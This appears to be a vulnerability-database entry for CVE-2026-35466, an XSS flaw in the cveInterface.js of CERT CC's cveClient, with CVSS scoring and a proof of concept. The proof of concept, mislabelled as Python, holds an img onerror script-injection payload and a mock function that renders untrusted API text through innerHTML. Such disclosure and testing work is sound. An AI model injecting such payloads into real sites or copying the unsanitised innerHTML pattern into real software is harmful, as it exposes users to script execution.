XSS vulnerability in cveInterface.js allows for inject HTML to be passed to display, as cveInterface trusts input from CVE API services
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
CERT CC cveClient (修复 PR #37 之前的版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-35466
This script simulates the vulnerable behavior in cveInterface.js
where input from the CVE API is directly rendered without sanitization.
-->
<script>
// 1. Simulate a malicious response from the CVE API
// In a real scenario, this might come from a compromised API or MitM attack
const maliciousApiResponse = {
"cve": {
"id": "CVE-2026-35466",
"descriptions": [
{
"lang": "en",
// Payload: Injecting an image tag with an onerror handler to execute JS
"value": "<img src=x onerror=alert('XSS CVE-2026-35466 Executed')>"
}
]
}
};
// 2. Vulnerable function in cveInterface.js (Simulation)
function renderCveDetails(apiData) {
const displayElement = document.getElementById('cve-description');
if (displayElement && apiData.cve && apiData.cve.descriptions) {
// VULNERABILITY: Directly assigning innerHTML with untrusted input
displayElement.innerHTML = apiData.cve.descriptions[0].value;
console.log("Content rendered. Check for alert popup.");
}
}
// 3. Execute the PoC
// Note: Ensure there is a div with id 'cve-description' in the DOM for this to run
renderCveDetails(maliciousApiResponse);
</script>